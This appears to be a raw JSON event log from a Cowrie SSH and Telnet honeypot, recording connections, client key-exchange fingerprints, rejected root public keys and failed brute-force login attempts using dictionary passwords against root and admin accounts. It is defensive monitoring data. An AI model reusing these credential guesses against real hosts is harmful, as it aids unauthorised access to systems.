{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:13:23.896016Z","src_ip":"194.59.206.2","session":"602a9bcd89e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:13:23.981327Z","src_ip":"194.59.206.2","session":"602a9bcd89e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.180.12.23","src_port":56552,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b4f3e144fdf","protocol":"telnet","message":"New connection: 194.180.12.23:56552 (10.17.0.5:23) [session: 3b4f3e144fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:17:19.584183Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.5.169.128","src_port":32201,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f5cfe11d91a","protocol":"telnet","message":"New connection: 69.5.169.128:32201 (10.17.0.5:23) [session: 7f5cfe11d91a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:17:28.714775Z"}
{"eventid":"cowrie.session.closed","duration":0.18521785736083984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:17:28.899853Z","src_ip":"69.5.169.128","session":"7f5cfe11d91a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.5.169.111","src_port":8234,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae13f89eff72","protocol":"telnet","message":"New connection: 69.5.169.111:8234 (10.17.0.5:23) [session: ae13f89eff72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:17:42.104963Z"}
{"eventid":"cowrie.session.closed","duration":9.999972820281982,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:17:52.104804Z","src_ip":"69.5.169.111","session":"ae13f89eff72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.14765977859497,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:18:07.731693Z","src_ip":"194.180.12.23","session":"3b4f3e144fdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.243.61","src_port":64002,"dst_ip":"10.17.0.5","dst_port":22,"session":"59146e882c7e","protocol":"ssh","message":"New connection: 208.87.243.61:64002 (10.17.0.5:22) [session: 59146e882c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:12.771014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:12.775688Z","src_ip":"208.87.243.61","session":"59146e882c7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:12.848800Z","src_ip":"208.87.243.61","session":"59146e882c7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:fe:5b:3e:43:96:5c:5f:f4:f1:20:f5:45:46:77:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7eWluqk37AOeS2ov64X+QMzQsj5/ykiPRzWNhigmVuhnW2opYiXEKPRQtPnt3MD/+8Djg6VbjnvoFOMhqZyKJdFzV6Hwkoptk6032zNUBgvvAZezD6TK28JHyglkcE7IqIUOrHhEXNieEJNbrSUm9aSs9ta2n2Na/7FDFNDzKhjon84RWLfQoZ892J1ysLaSLPVerWFTg6RHfvxbB4Y9xscfAM2sQjS2ztvf+jyybT5Pm/o85QPBzZ1wNbGN4k+Ot3Xxck1W/Ej8GetVDfjPT5RvpzbYqIc/jBY2+JfReF4xzZXxbRbY2fFlZJQ4JSdpUyoHIqi2drYySrF2kPcaV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:fe:5b:3e:43:96:5c:5f:f4:f1:20:f5:45:46:77:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:13.172830Z","src_ip":"208.87.243.61","session":"59146e882c7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:fe:5b:3e:43:96:5c:5f:f4:f1:20:f5:45:46:77:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7eWluqk37AOeS2ov64X+QMzQsj5/ykiPRzWNhigmVuhnW2opYiXEKPRQtPnt3MD/+8Djg6VbjnvoFOMhqZyKJdFzV6Hwkoptk6032zNUBgvvAZezD6TK28JHyglkcE7IqIUOrHhEXNieEJNbrSUm9aSs9ta2n2Na/7FDFNDzKhjon84RWLfQoZ892J1ysLaSLPVerWFTg6RHfvxbB4Y9xscfAM2sQjS2ztvf+jyybT5Pm/o85QPBzZ1wNbGN4k+Ot3Xxck1W/Ej8GetVDfjPT5RvpzbYqIc/jBY2+JfReF4xzZXxbRbY2fFlZJQ4JSdpUyoHIqi2drYySrF2kPcaV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:13.176941Z","src_ip":"208.87.243.61","session":"59146e882c7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:49:99:36:84:9a:a7:f1:25:25:c0:a9:54:f1:1b:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXkR9+jCtu9+S4lkfkUBwUGrg5h9VCQSpx0OOysI8ngHIpeXumjUsVvTs59HmMXvSGV0GpbeWHXUji9HAsR/N+idNEtMHju6FKr37nAQG+1ZQvuq/0lHni42BCZ3fnyX/4L3nFuxGpgqXXzXKHNVeYW6Q07O1znXYjPh9FnZhjTdpPEhrXSeM9g7zu3+HwFSL/KFbp36NKYNAlVBgmlmaUseid4BdjdibbuHu23dDwMyk+HWfCPsU6+GL2Ts3F2VwYRqPaVs2krIW67w/c8SUwM1ioUtgPUOtAV4h45+ml8W95ptc9NgnM7q+EG6z2Xssy27lygDyxatqcsQSadpTDrt/oYlKVARL9lEvMFq8J7Y/Pidq7S6yEqjtEyO7z91ZWtbS/8FRt4LbZwCOhJ9RHi4AJzQUI1cNwl3hm1BUqW1W3LRlIpoRVC5vbzEl4aDFH08LXqlui7+Q1NCbH3knYQGTXiHzix4/MaCVHUR1xP2MGz4L9EguUApawZVnU0L8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:49:99:36:84:9a:a7:f1:25:25:c0:a9:54:f1:1b:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:13.246806Z","src_ip":"208.87.243.61","session":"59146e882c7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:49:99:36:84:9a:a7:f1:25:25:c0:a9:54:f1:1b:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXkR9+jCtu9+S4lkfkUBwUGrg5h9VCQSpx0OOysI8ngHIpeXumjUsVvTs59HmMXvSGV0GpbeWHXUji9HAsR/N+idNEtMHju6FKr37nAQG+1ZQvuq/0lHni42BCZ3fnyX/4L3nFuxGpgqXXzXKHNVeYW6Q07O1znXYjPh9FnZhjTdpPEhrXSeM9g7zu3+HwFSL/KFbp36NKYNAlVBgmlmaUseid4BdjdibbuHu23dDwMyk+HWfCPsU6+GL2Ts3F2VwYRqPaVs2krIW67w/c8SUwM1ioUtgPUOtAV4h45+ml8W95ptc9NgnM7q+EG6z2Xssy27lygDyxatqcsQSadpTDrt/oYlKVARL9lEvMFq8J7Y/Pidq7S6yEqjtEyO7z91ZWtbS/8FRt4LbZwCOhJ9RHi4AJzQUI1cNwl3hm1BUqW1W3LRlIpoRVC5vbzEl4aDFH08LXqlui7+Q1NCbH3knYQGTXiHzix4/MaCVHUR1xP2MGz4L9EguUApawZVnU0L8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:13.250141Z","src_ip":"208.87.243.61","session":"59146e882c7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:4b:b0:84:ea:cb:dd:34:9c:5e:38:35:03:52:33:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnDdQDP+co16g5wPGDi77OqdvJ9Wz0pXrys8hO1md0QO9JcWSw7pchZeq5N8Yr9SvCHbhr9tv2YfGI1chXrb6dJm2Fqbla1q7TLbaMkU1E9DDj+XWzwkBqZ+v6ZCI2HEc9hlef3joRZcr7grMtdzYqoiCChOL52W4rsasos0dlTNcHzUx52/RrnPU92IOEHhMUNfkAReAXmCmkHZih8AEvtVqly4qUFzxk4pJrgm2WSBZlezEA2Gk0wv3QTw1HMlVmleoK2BWpx4d+/rea08kFAFbmmF7+2Zb9VBMlqlM3hEJZbovrMPRAZS2BpI7iDAu6ELbCiN5V7rli1Kcb0xjb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:4b:b0:84:ea:cb:dd:34:9c:5e:38:35:03:52:33:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:13.319197Z","src_ip":"208.87.243.61","session":"59146e882c7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:4b:b0:84:ea:cb:dd:34:9c:5e:38:35:03:52:33:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnDdQDP+co16g5wPGDi77OqdvJ9Wz0pXrys8hO1md0QO9JcWSw7pchZeq5N8Yr9SvCHbhr9tv2YfGI1chXrb6dJm2Fqbla1q7TLbaMkU1E9DDj+XWzwkBqZ+v6ZCI2HEc9hlef3joRZcr7grMtdzYqoiCChOL52W4rsasos0dlTNcHzUx52/RrnPU92IOEHhMUNfkAReAXmCmkHZih8AEvtVqly4qUFzxk4pJrgm2WSBZlezEA2Gk0wv3QTw1HMlVmleoK2BWpx4d+/rea08kFAFbmmF7+2Zb9VBMlqlM3hEJZbovrMPRAZS2BpI7iDAu6ELbCiN5V7rli1Kcb0xjb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:13.322517Z","src_ip":"208.87.243.61","session":"59146e882c7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:aa:b3:ec:42:42:2f:2d:c0:c1:bd:4a:45:b4:3a:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm7q1dUsCe/ldnMlyypu6rzJ1lkwsow+fJfkVeSKK/9QX7DGPIbLPOgT4ji+k+wQ4Qpq2xH9WA8uOvVBADphe150raGZJax/4pcF2AEEeb+QLkpZRkmHXRlE62BNTUadlOwfHe+yUHpEHnrNgGS85RVSLz8ndU4BjV5pqNVTdjH2Km3koijSYxCNNn1DWb3ii5TDFdOYC0d4/quLL5VZtibCoKW8LEkQVltgjeBMTbb4aymWswXdQ+zkX1p5BNshPU5c30Ezsq0pd0+OKV0zUAcYpqR3zi55MGQafjOJkTQJcHoOBgo/dyFJGMYFl4UG09re6gltauBywrGj53a6yV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:aa:b3:ec:42:42:2f:2d:c0:c1:bd:4a:45:b4:3a:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:13.391961Z","src_ip":"208.87.243.61","session":"59146e882c7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:aa:b3:ec:42:42:2f:2d:c0:c1:bd:4a:45:b4:3a:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm7q1dUsCe/ldnMlyypu6rzJ1lkwsow+fJfkVeSKK/9QX7DGPIbLPOgT4ji+k+wQ4Qpq2xH9WA8uOvVBADphe150raGZJax/4pcF2AEEeb+QLkpZRkmHXRlE62BNTUadlOwfHe+yUHpEHnrNgGS85RVSLz8ndU4BjV5pqNVTdjH2Km3koijSYxCNNn1DWb3ii5TDFdOYC0d4/quLL5VZtibCoKW8LEkQVltgjeBMTbb4aymWswXdQ+zkX1p5BNshPU5c30Ezsq0pd0+OKV0zUAcYpqR3zi55MGQafjOJkTQJcHoOBgo/dyFJGMYFl4UG09re6gltauBywrGj53a6yV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:13.397557Z","src_ip":"208.87.243.61","session":"59146e882c7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:aa:12:58:77:db:da:f2:42:d4:b4:a7:ad:d2:c4:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVd5Ivtu6sei351CVEl+1TGMqjGKcM3wyOzbAy/x3iJkSXTAPaTJe0tGeM/5QiLMnfHZMpop+ZKJ8+R+XGvXf+ngbahp4TOX8VP4UctgXkDOaeXuLs1ZTXJuS684JPRqie2HYeRj4wGw1iWuhCVoELBaHqLYKUZ2H20lrrvey3V/Ems+Et2GnaJMrE79KzY5H+7YyDTlsruUANywgE6r2Dqy7wl2kCOlh557tq0pHLskzVD7nv1aTyBmFUv2/aUJ0qqMOB7HVy/tDno0UUisckjIBIqA3MI68UU9SOaEyKsuaRbf/x3i7UqPd0zT9xgYMomDMJZbrf6hw+Wqy8G2jh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:aa:12:58:77:db:da:f2:42:d4:b4:a7:ad:d2:c4:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:13.466876Z","src_ip":"208.87.243.61","session":"59146e882c7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:aa:12:58:77:db:da:f2:42:d4:b4:a7:ad:d2:c4:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVd5Ivtu6sei351CVEl+1TGMqjGKcM3wyOzbAy/x3iJkSXTAPaTJe0tGeM/5QiLMnfHZMpop+ZKJ8+R+XGvXf+ngbahp4TOX8VP4UctgXkDOaeXuLs1ZTXJuS684JPRqie2HYeRj4wGw1iWuhCVoELBaHqLYKUZ2H20lrrvey3V/Ems+Et2GnaJMrE79KzY5H+7YyDTlsruUANywgE6r2Dqy7wl2kCOlh557tq0pHLskzVD7nv1aTyBmFUv2/aUJ0qqMOB7HVy/tDno0UUisckjIBIqA3MI68UU9SOaEyKsuaRbf/x3i7UqPd0zT9xgYMomDMJZbrf6hw+Wqy8G2jh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:13.470127Z","src_ip":"208.87.243.61","session":"59146e882c7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:13.539174Z","src_ip":"208.87.243.61","session":"59146e882c7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.193.81.23","src_port":39170,"dst_ip":"10.17.0.5","dst_port":22,"session":"258dc046bb14","protocol":"ssh","message":"New connection: 124.193.81.23:39170 (10.17.0.5:22) [session: 258dc046bb14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:28.176942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:28.181821Z","src_ip":"124.193.81.23","session":"258dc046bb14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:28.422988Z","src_ip":"124.193.81.23","session":"258dc046bb14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"candelaria","message":"login attempt [root/candelaria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:29.422853Z","src_ip":"124.193.81.23","session":"258dc046bb14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:30.667486Z","src_ip":"124.193.81.23","session":"258dc046bb14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":51658,"dst_ip":"159.203.135.109","dst_port":22,"session":"f72afc8bc1ec","protocol":"ssh","message":"New connection: 2.57.121.112:51658 (159.203.135.109:22) [session: f72afc8bc1ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:52.184771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:52.189257Z","src_ip":"2.57.121.112","session":"f72afc8bc1ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:52.306467Z","src_ip":"2.57.121.112","session":"f72afc8bc1ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dually","message":"login attempt [admin/dually] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:52.799304Z","src_ip":"2.57.121.112","session":"f72afc8bc1ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"drunk1","message":"login attempt [admin/drunk1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:53.907694Z","src_ip":"2.57.121.112","session":"f72afc8bc1ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dropzone","message":"login attempt [admin/dropzone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:55.015369Z","src_ip":"2.57.121.112","session":"f72afc8bc1ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"drivers","message":"login attempt [admin/drivers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:56.122843Z","src_ip":"2.57.121.112","session":"f72afc8bc1ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":45426,"dst_ip":"10.17.0.5","dst_port":22,"session":"43ce54970eab","protocol":"ssh","message":"New connection: 176.65.132.190:45426 (10.17.0.5:22) [session: 43ce54970eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:57.029439Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:57.034041Z","src_ip":"176.65.132.190","session":"43ce54970eab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dreyfus","message":"login attempt [admin/dreyfus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:19:57.230495Z","src_ip":"2.57.121.112","session":"f72afc8bc1ec","protocol":"ssh"}
